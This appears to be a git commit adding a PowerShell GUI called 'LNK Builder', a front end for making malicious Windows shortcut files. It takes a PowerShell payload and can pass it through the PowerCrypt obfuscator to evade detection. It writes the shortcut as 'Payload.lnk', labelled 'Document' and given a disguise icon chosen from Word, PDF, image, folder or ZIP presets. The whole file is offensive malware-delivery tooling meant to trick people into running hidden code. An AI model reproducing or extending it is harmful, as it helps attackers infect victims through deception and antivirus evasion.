initial commit
This commit is contained in:
Binary file not shown.
@@ -0,0 +1,414 @@
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
Add-Type -AssemblyName System.Drawing
|
||||
|
||||
$exe = Join-Path $PSScriptRoot "lnk_builder.exe"
|
||||
|
||||
# ── Theme ────────────────────────────────────────────────────────────────────
|
||||
$BG = [System.Drawing.Color]::FromArgb(18, 18, 24)
|
||||
$PANEL = [System.Drawing.Color]::FromArgb(28, 28, 38)
|
||||
$BORDER = [System.Drawing.Color]::FromArgb(50, 50, 70)
|
||||
$ACCENT = [System.Drawing.Color]::FromArgb(99, 102, 241)
|
||||
$ACCENT2 = [System.Drawing.Color]::FromArgb(139, 92, 246)
|
||||
$SUCCESS = [System.Drawing.Color]::FromArgb(34, 197, 94)
|
||||
$WARN = [System.Drawing.Color]::FromArgb(251, 191, 36)
|
||||
$ERR = [System.Drawing.Color]::FromArgb(239, 68, 68)
|
||||
$FG = [System.Drawing.Color]::FromArgb(226, 232, 240)
|
||||
$FG2 = [System.Drawing.Color]::FromArgb(148, 163, 184)
|
||||
$MONO = New-Object System.Drawing.Font("Consolas", 9)
|
||||
$SANS = New-Object System.Drawing.Font("Segoe UI", 9)
|
||||
$SANS_B = New-Object System.Drawing.Font("Segoe UI", 9, [System.Drawing.FontStyle]::Bold)
|
||||
|
||||
function New-Label([string]$text, [int]$x, [int]$y, [int]$w=200, [int]$h=18) {
|
||||
$l = New-Object System.Windows.Forms.Label
|
||||
$l.Text = $text; $l.Location = [System.Drawing.Point]::new($x,$y)
|
||||
$l.Size = [System.Drawing.Size]::new($w,$h)
|
||||
$l.ForeColor = $FG2; $l.BackColor = [System.Drawing.Color]::Transparent
|
||||
$l.Font = $SANS; return $l
|
||||
}
|
||||
|
||||
function New-TextBox([int]$x, [int]$y, [int]$w=260, [int]$h=24, [bool]$multi=$false) {
|
||||
$t = New-Object System.Windows.Forms.TextBox
|
||||
$t.Location = [System.Drawing.Point]::new($x,$y)
|
||||
$t.Size = [System.Drawing.Size]::new($w,$h)
|
||||
$t.BackColor = $PANEL; $t.ForeColor = $FG; $t.BorderStyle = "FixedSingle"
|
||||
$t.Font = $SANS
|
||||
if ($multi) { $t.Multiline = $true; $t.ScrollBars = "Vertical"; $t.AcceptsReturn = $true }
|
||||
return $t
|
||||
}
|
||||
|
||||
function New-Btn([string]$text, [int]$x, [int]$y, [int]$w=90, [int]$h=28) {
|
||||
$b = New-Object System.Windows.Forms.Button
|
||||
$b.Text = $text; $b.Location = [System.Drawing.Point]::new($x,$y)
|
||||
$b.Size = [System.Drawing.Size]::new($w,$h)
|
||||
$b.BackColor = $ACCENT; $b.ForeColor = [System.Drawing.Color]::White
|
||||
$b.FlatStyle = "Flat"; $b.FlatAppearance.BorderSize = 0
|
||||
$b.Font = $SANS_B; $b.Cursor = "Hand"
|
||||
return $b
|
||||
}
|
||||
|
||||
# ── Form ─────────────────────────────────────────────────────────────────────
|
||||
$form = New-Object System.Windows.Forms.Form
|
||||
$form.Text = "LNK Builder"
|
||||
$form.Size = [System.Drawing.Size]::new(820, 660)
|
||||
$form.MinimumSize = $form.Size
|
||||
$form.BackColor = $BG
|
||||
$form.ForeColor = $FG
|
||||
$form.Font = $SANS
|
||||
$form.StartPosition = "CenterScreen"
|
||||
$form.FormBorderStyle = "FixedSingle"
|
||||
$form.MaximizeBox = $false
|
||||
|
||||
# ── Title bar ────────────────────────────────────────────────────────────────
|
||||
$strip = New-Object System.Windows.Forms.Panel
|
||||
$strip.Location = [System.Drawing.Point]::new(0,0)
|
||||
$strip.Size = [System.Drawing.Size]::new(820, 48)
|
||||
$strip.BackColor = $PANEL
|
||||
|
||||
$titleLbl = New-Object System.Windows.Forms.Label
|
||||
$titleLbl.Text = " LNK Builder"
|
||||
$titleLbl.Font = New-Object System.Drawing.Font("Segoe UI", 13, [System.Drawing.FontStyle]::Bold)
|
||||
$titleLbl.ForeColor = $FG
|
||||
$titleLbl.Location = [System.Drawing.Point]::new(6,8)
|
||||
$titleLbl.Size = [System.Drawing.Size]::new(300,30)
|
||||
$titleLbl.BackColor = [System.Drawing.Color]::Transparent
|
||||
|
||||
$subLbl = New-Object System.Windows.Forms.Label
|
||||
$subLbl.Text = "mshta bypass | PowerCrypt | LNK Builder"
|
||||
$subLbl.Font = $SANS; $subLbl.ForeColor = $FG2
|
||||
$subLbl.Location = [System.Drawing.Point]::new(200,16)
|
||||
$subLbl.Size = [System.Drawing.Size]::new(400,18)
|
||||
$subLbl.BackColor = [System.Drawing.Color]::Transparent
|
||||
|
||||
$strip.Controls.AddRange(@($titleLbl,$subLbl))
|
||||
$form.Controls.Add($strip)
|
||||
|
||||
# ── Left panel ───────────────────────────────────────────────────────────────
|
||||
$left = New-Object System.Windows.Forms.Panel
|
||||
$left.Location = [System.Drawing.Point]::new(10,58)
|
||||
$left.Size = [System.Drawing.Size]::new(490, 550)
|
||||
$left.BackColor = [System.Drawing.Color]::Transparent
|
||||
|
||||
# Payload
|
||||
$left.Controls.Add((New-Label "PAYLOAD (PowerShell command)" 0 0 300 18))
|
||||
$txtPayload = New-TextBox 0 22 490 120 $true
|
||||
$txtPayload.Font = $MONO
|
||||
$left.Controls.Add($txtPayload)
|
||||
|
||||
# Output path
|
||||
$left.Controls.Add((New-Label "OUTPUT FILE (.lnk)" 0 152 300 18))
|
||||
$txtOutput = New-TextBox 0 172 380 24
|
||||
$txtOutput.Text = (Join-Path ([System.Environment]::GetFolderPath("Desktop")) "Payload.lnk")
|
||||
$left.Controls.Add($txtOutput)
|
||||
$btnBrowseOut = New-Btn "Browse..." 386 172 100 24
|
||||
$btnBrowseOut.BackColor = $BORDER
|
||||
$left.Controls.Add($btnBrowseOut)
|
||||
|
||||
# Icon
|
||||
$left.Controls.Add((New-Label "ICON" 0 206 300 18))
|
||||
$txtIcon = New-TextBox 0 226 380 24
|
||||
$txtIcon.Text = ""
|
||||
$left.Controls.Add($txtIcon)
|
||||
$btnBrowseIcon = New-Btn "Browse..." 386 226 100 24
|
||||
$btnBrowseIcon.BackColor = $BORDER
|
||||
$left.Controls.Add($btnBrowseIcon)
|
||||
|
||||
# Icon index + Description
|
||||
$left.Controls.Add((New-Label "Icon index" 0 260 120 18))
|
||||
$nudIcon = New-Object System.Windows.Forms.NumericUpDown
|
||||
$nudIcon.Location = [System.Drawing.Point]::new(0,278)
|
||||
$nudIcon.Size = [System.Drawing.Size]::new(80,24)
|
||||
$nudIcon.Minimum = 0; $nudIcon.Maximum = 300; $nudIcon.Value = 13
|
||||
$nudIcon.BackColor = $PANEL; $nudIcon.ForeColor = $FG; $nudIcon.Font = $SANS
|
||||
$left.Controls.Add($nudIcon)
|
||||
|
||||
$left.Controls.Add((New-Label "DESCRIPTION" 100 260 200 18))
|
||||
$txtDesc = New-TextBox 100 278 390 24
|
||||
$txtDesc.Text = "Document"
|
||||
$left.Controls.Add($txtDesc)
|
||||
|
||||
# ── PowerCrypt section ───────────────────────────────────────────────────────
|
||||
$pcSep = New-Object System.Windows.Forms.Panel
|
||||
$pcSep.Location = [System.Drawing.Point]::new(0,316)
|
||||
$pcSep.Size = [System.Drawing.Size]::new(490,1)
|
||||
$pcSep.BackColor = $BORDER
|
||||
$left.Controls.Add($pcSep)
|
||||
|
||||
$chkPowerCrypt = New-Object System.Windows.Forms.CheckBox
|
||||
$chkPowerCrypt.Text = "PowerCrypt Obfuscation"
|
||||
$chkPowerCrypt.Location = [System.Drawing.Point]::new(0,324)
|
||||
$chkPowerCrypt.Size = [System.Drawing.Size]::new(240,22)
|
||||
$chkPowerCrypt.ForeColor = $ACCENT2
|
||||
$chkPowerCrypt.BackColor = [System.Drawing.Color]::Transparent
|
||||
$chkPowerCrypt.Font = $SANS_B
|
||||
$left.Controls.Add($chkPowerCrypt)
|
||||
|
||||
$pcWarnLbl = New-Object System.Windows.Forms.Label
|
||||
$pcWarnLbl.Text = "Note: large payloads may be flagged"
|
||||
$pcWarnLbl.Location = [System.Drawing.Point]::new(250,327)
|
||||
$pcWarnLbl.Size = [System.Drawing.Size]::new(240,16)
|
||||
$pcWarnLbl.ForeColor = $WARN
|
||||
$pcWarnLbl.BackColor = [System.Drawing.Color]::Transparent
|
||||
$pcWarnLbl.Font = New-Object System.Drawing.Font("Segoe UI", 8)
|
||||
$pcWarnLbl.Visible = $false
|
||||
$left.Controls.Add($pcWarnLbl)
|
||||
|
||||
$lblPcPath = New-Label "PowerCrypt.exe path" 0 354 200 18
|
||||
$left.Controls.Add($lblPcPath)
|
||||
|
||||
$txtPcPath = New-TextBox 0 374 380 24
|
||||
$txtPcPath.Text = Join-Path $PSScriptRoot "PowerCrypt.exe"
|
||||
$txtPcPath.ForeColor = $FG2
|
||||
$left.Controls.Add($txtPcPath)
|
||||
|
||||
$btnBrowsePc = New-Btn "Browse..." 386 374 100 24
|
||||
$btnBrowsePc.BackColor = $BORDER
|
||||
$left.Controls.Add($btnBrowsePc)
|
||||
|
||||
$lblPcPath.ForeColor = $BORDER
|
||||
$txtPcPath.Enabled = $false
|
||||
$btnBrowsePc.Enabled = $false
|
||||
|
||||
$chkPowerCrypt.Add_CheckedChanged({
|
||||
$en = $chkPowerCrypt.Checked
|
||||
$txtPcPath.Enabled = $en
|
||||
$btnBrowsePc.Enabled = $en
|
||||
$pcWarnLbl.Visible = $en
|
||||
$lblPcPath.ForeColor = if ($en) { $FG2 } else { $BORDER }
|
||||
$txtPcPath.ForeColor = if ($en) { $FG } else { $FG2 }
|
||||
})
|
||||
|
||||
# Buttons
|
||||
$btnGen = New-Btn " BUILD LNK" 0 416 200 36
|
||||
$btnGen.Font = New-Object System.Drawing.Font("Segoe UI", 11, [System.Drawing.FontStyle]::Bold)
|
||||
$btnGen.BackColor = $ACCENT
|
||||
$left.Controls.Add($btnGen)
|
||||
|
||||
$btnClear = New-Btn "Clear" 210 416 90 36
|
||||
$btnClear.BackColor = $BORDER
|
||||
$left.Controls.Add($btnClear)
|
||||
|
||||
$form.Controls.Add($left)
|
||||
|
||||
# ── Right panel - log ─────────────────────────────────────────────────────────
|
||||
$right = New-Object System.Windows.Forms.Panel
|
||||
$right.Location = [System.Drawing.Point]::new(514,58)
|
||||
$right.Size = [System.Drawing.Size]::new(290,550)
|
||||
$right.BackColor = [System.Drawing.Color]::Transparent
|
||||
|
||||
$right.Controls.Add((New-Label "OUTPUT / LOG" 0 0 200 18))
|
||||
|
||||
$rtbLog = New-Object System.Windows.Forms.RichTextBox
|
||||
$rtbLog.Location = [System.Drawing.Point]::new(0,22)
|
||||
$rtbLog.Size = [System.Drawing.Size]::new(290,420)
|
||||
$rtbLog.BackColor = $PANEL; $rtbLog.ForeColor = $FG
|
||||
$rtbLog.Font = $MONO; $rtbLog.ReadOnly = $true
|
||||
$rtbLog.BorderStyle = "FixedSingle"; $rtbLog.WordWrap = $false
|
||||
$right.Controls.Add($rtbLog)
|
||||
|
||||
# Quick icon presets
|
||||
$right.Controls.Add((New-Label "QUICK ICON" 0 452 200 18))
|
||||
|
||||
$presets = @(
|
||||
@{ Name="Folder"; Idx=3 },
|
||||
@{ Name="Word"; Idx=72 },
|
||||
@{ Name="PDF"; Idx=67 },
|
||||
@{ Name="Image"; Idx=108 },
|
||||
@{ Name="ZIP"; Idx=165 }
|
||||
)
|
||||
$px = 0
|
||||
foreach ($p in $presets) {
|
||||
$pb = New-Object System.Windows.Forms.Button
|
||||
$pb.Text = $p.Name; $pb.Tag = $p.Idx
|
||||
$pb.Location = [System.Drawing.Point]::new($px,472)
|
||||
$pb.Size = [System.Drawing.Size]::new(52,26)
|
||||
$pb.BackColor = $BORDER; $pb.ForeColor = $FG
|
||||
$pb.FlatStyle = "Flat"; $pb.FlatAppearance.BorderSize = 0
|
||||
$pb.Font = New-Object System.Drawing.Font("Segoe UI",8)
|
||||
$pb.Cursor = "Hand"
|
||||
$pb.Add_Click({ $nudIcon.Value = $this.Tag })
|
||||
$right.Controls.Add($pb)
|
||||
$px += 56
|
||||
}
|
||||
|
||||
$form.Controls.Add($right)
|
||||
|
||||
# ── Status bar ───────────────────────────────────────────────────────────────
|
||||
$status = New-Object System.Windows.Forms.Panel
|
||||
$status.Location = [System.Drawing.Point]::new(0,616)
|
||||
$status.Size = [System.Drawing.Size]::new(820,28)
|
||||
$status.BackColor = $PANEL
|
||||
|
||||
$lblStatus = New-Object System.Windows.Forms.Label
|
||||
$lblStatus.Location = [System.Drawing.Point]::new(12,6)
|
||||
$lblStatus.Size = [System.Drawing.Size]::new(796,18)
|
||||
$lblStatus.Font = $SANS; $lblStatus.BackColor = [System.Drawing.Color]::Transparent
|
||||
$lblStatus.ForeColor = $FG2
|
||||
$lblStatus.Text = if (Test-Path $exe) { "Ready - $exe" } else { "WARNING: lnk_builder.exe not found: $exe" }
|
||||
|
||||
$status.Controls.Add($lblStatus)
|
||||
$form.Controls.Add($status)
|
||||
|
||||
# ── Log helper ───────────────────────────────────────────────────────────────
|
||||
function Write-Log([string]$msg, [System.Drawing.Color]$color) {
|
||||
$rtbLog.SelectionStart = $rtbLog.TextLength
|
||||
$rtbLog.SelectionLength = 0
|
||||
$rtbLog.SelectionColor = $color
|
||||
$rtbLog.AppendText($msg + "`n")
|
||||
$rtbLog.ScrollToCaret()
|
||||
}
|
||||
|
||||
# ── Browse buttons ────────────────────────────────────────────────────────────
|
||||
$btnBrowseOut.Add_Click({
|
||||
$sfd = New-Object System.Windows.Forms.SaveFileDialog
|
||||
$sfd.Filter = "LNK file (*.lnk)|*.lnk"
|
||||
$sfd.FileName = [System.IO.Path]::GetFileName($txtOutput.Text)
|
||||
if ($sfd.ShowDialog() -eq "OK") { $txtOutput.Text = $sfd.FileName }
|
||||
})
|
||||
|
||||
$btnBrowseIcon.Add_Click({
|
||||
$ofd = New-Object System.Windows.Forms.OpenFileDialog
|
||||
$ofd.Filter = "Icon files (*.ico)|*.ico|All files (*.*)|*.*"
|
||||
$ofd.Title = "Select Icon"
|
||||
if ($ofd.ShowDialog() -eq "OK") {
|
||||
$txtIcon.Text = $ofd.FileName
|
||||
$nudIcon.Value = 0
|
||||
}
|
||||
})
|
||||
|
||||
$btnBrowsePc.Add_Click({
|
||||
$ofd = New-Object System.Windows.Forms.OpenFileDialog
|
||||
$ofd.Filter = "PowerCrypt (PowerCrypt.exe)|PowerCrypt.exe|EXE (*.exe)|*.exe"
|
||||
if ($ofd.ShowDialog() -eq "OK") { $txtPcPath.Text = $ofd.FileName }
|
||||
})
|
||||
|
||||
$btnClear.Add_Click({
|
||||
$rtbLog.Clear()
|
||||
$lblStatus.ForeColor = $FG2
|
||||
$lblStatus.Text = "Ready"
|
||||
})
|
||||
|
||||
# ── Generate ──────────────────────────────────────────────────────────────────
|
||||
$btnGen.Add_Click({
|
||||
$rtbLog.Clear()
|
||||
|
||||
if (-not (Test-Path $exe)) {
|
||||
Write-Log "[-] lnk_builder.exe not found: $exe" $ERR
|
||||
$lblStatus.ForeColor = $ERR; $lblStatus.Text = "Error: lnk_builder.exe not found"
|
||||
return
|
||||
}
|
||||
|
||||
$payload = $txtPayload.Text.Trim()
|
||||
if ($payload -eq "") {
|
||||
Write-Log "[!] Payload cannot be empty." $WARN
|
||||
return
|
||||
}
|
||||
|
||||
# ── PowerCrypt obfuscation ───────────────────────────────────────────────
|
||||
$tmpPayloadFile = $null
|
||||
if ($chkPowerCrypt.Checked) {
|
||||
$pcExe = $txtPcPath.Text.Trim()
|
||||
if (-not (Test-Path $pcExe)) {
|
||||
Write-Log "[-] PowerCrypt.exe not found: $pcExe" $ERR
|
||||
Write-Log " Download: https://github.com/KingKDot/PowerCrypt" $FG2
|
||||
$lblStatus.ForeColor = $ERR; $lblStatus.Text = "Error: PowerCrypt.exe not found"
|
||||
return
|
||||
}
|
||||
|
||||
Write-Log "[*] Running PowerCrypt obf on work" $ACCENT2
|
||||
|
||||
$tmpIn = [System.IO.Path]::Combine($env:TEMP, "pc_in_$([System.IO.Path]::GetRandomFileName()).ps1")
|
||||
$tmpOut = [System.IO.Path]::Combine($env:TEMP, "pc_out_$([System.IO.Path]::GetRandomFileName()).ps1")
|
||||
|
||||
try {
|
||||
[System.IO.File]::WriteAllText($tmpIn, $payload, [System.Text.Encoding]::UTF8)
|
||||
|
||||
$psi = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$psi.FileName = $pcExe
|
||||
$psi.Arguments = "`"$tmpIn`" `"$tmpOut`""
|
||||
$psi.RedirectStandardOutput = $true
|
||||
$psi.RedirectStandardError = $true
|
||||
$psi.UseShellExecute = $false
|
||||
$psi.CreateNoWindow = $true
|
||||
|
||||
$proc = [System.Diagnostics.Process]::Start($psi)
|
||||
$pcOut = $proc.StandardOutput.ReadToEnd()
|
||||
$pcErr = $proc.StandardError.ReadToEnd()
|
||||
$proc.WaitForExit()
|
||||
|
||||
Remove-Item $tmpIn -ErrorAction SilentlyContinue
|
||||
|
||||
if ($proc.ExitCode -ne 0 -or -not (Test-Path $tmpOut)) {
|
||||
Write-Log "[-] PowerCrypt failed (exit $($proc.ExitCode))" $ERR
|
||||
if ($pcErr) { Write-Log $pcErr $ERR }
|
||||
return
|
||||
}
|
||||
|
||||
$tmpPayloadFile = $tmpOut
|
||||
Write-Log "[+] PowerCrypt done" $SUCCESS
|
||||
} catch {
|
||||
Remove-Item $tmpIn -ErrorAction SilentlyContinue
|
||||
Remove-Item $tmpOut -ErrorAction SilentlyContinue
|
||||
Write-Log "[-] PowerCrypt error: $_" $ERR
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
# ── Build LNK ────────────────────────────────────────────────────────────
|
||||
if ($tmpPayloadFile) {
|
||||
$argList = @("-f", $tmpPayloadFile)
|
||||
} else {
|
||||
$argList = @("-c", $payload)
|
||||
}
|
||||
$argList += @("-o", $txtOutput.Text, "--icon-index", [string]$nudIcon.Value)
|
||||
if ($txtIcon.Text) { $argList += "-i"; $argList += $txtIcon.Text }
|
||||
if ($txtDesc.Text) { $argList += "-d"; $argList += $txtDesc.Text }
|
||||
|
||||
Write-Log "[>] Building LNK..." $FG2
|
||||
|
||||
$psi2 = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$psi2.FileName = $exe
|
||||
$psi2.Arguments = ($argList | ForEach-Object { if ($_ -match '\s') { """$_""" } else { $_ } }) -join " "
|
||||
$psi2.RedirectStandardOutput = $true
|
||||
$psi2.RedirectStandardError = $true
|
||||
$psi2.UseShellExecute = $false
|
||||
$psi2.CreateNoWindow = $true
|
||||
|
||||
$proc2 = [System.Diagnostics.Process]::Start($psi2)
|
||||
$stdout = $proc2.StandardOutput.ReadToEnd()
|
||||
$stderr = $proc2.StandardError.ReadToEnd()
|
||||
$proc2.WaitForExit()
|
||||
|
||||
if ($tmpPayloadFile) { Remove-Item $tmpPayloadFile -ErrorAction SilentlyContinue }
|
||||
|
||||
foreach ($line in ($stdout -split "`n")) {
|
||||
$line = $line.TrimEnd("`r")
|
||||
if ($line -match "^\[\+\]") { Write-Log $line $SUCCESS }
|
||||
elseif ($line -match "^\[\*\]") { Write-Log $line $ACCENT }
|
||||
elseif ($line -match "^\[!\]") { Write-Log $line $WARN }
|
||||
elseif ($line -match "^\[-\]") { Write-Log $line $ERR }
|
||||
elseif ($line -ne "") { Write-Log $line $FG2 }
|
||||
}
|
||||
foreach ($line in ($stderr -split "`n")) {
|
||||
$line = $line.TrimEnd("`r")
|
||||
if ($line -ne "") { Write-Log $line $ERR }
|
||||
}
|
||||
|
||||
if ($proc2.ExitCode -eq 0) {
|
||||
$size = (Get-Item $txtOutput.Text -ErrorAction SilentlyContinue).Length
|
||||
$lblStatus.ForeColor = $SUCCESS
|
||||
$lblStatus.Text = "Success - $($txtOutput.Text) ($size bytes)"
|
||||
Write-Log "[OK] LNK ready: $($txtOutput.Text)" $SUCCESS
|
||||
} else {
|
||||
$lblStatus.ForeColor = $ERR
|
||||
$lblStatus.Text = "Error (exit $($proc2.ExitCode))"
|
||||
}
|
||||
})
|
||||
|
||||
# Ctrl+Enter = Build LNK
|
||||
$form.KeyPreview = $true
|
||||
$form.Add_KeyDown({
|
||||
if ($_.Control -and $_.KeyCode -eq "Return") { $btnGen.PerformClick() }
|
||||
})
|
||||
|
||||
$form.Add_Shown({ $txtPayload.Focus() })
|
||||
[void]$form.ShowDialog()
|
||||
Binary file not shown.
Reference in New Issue
Block a user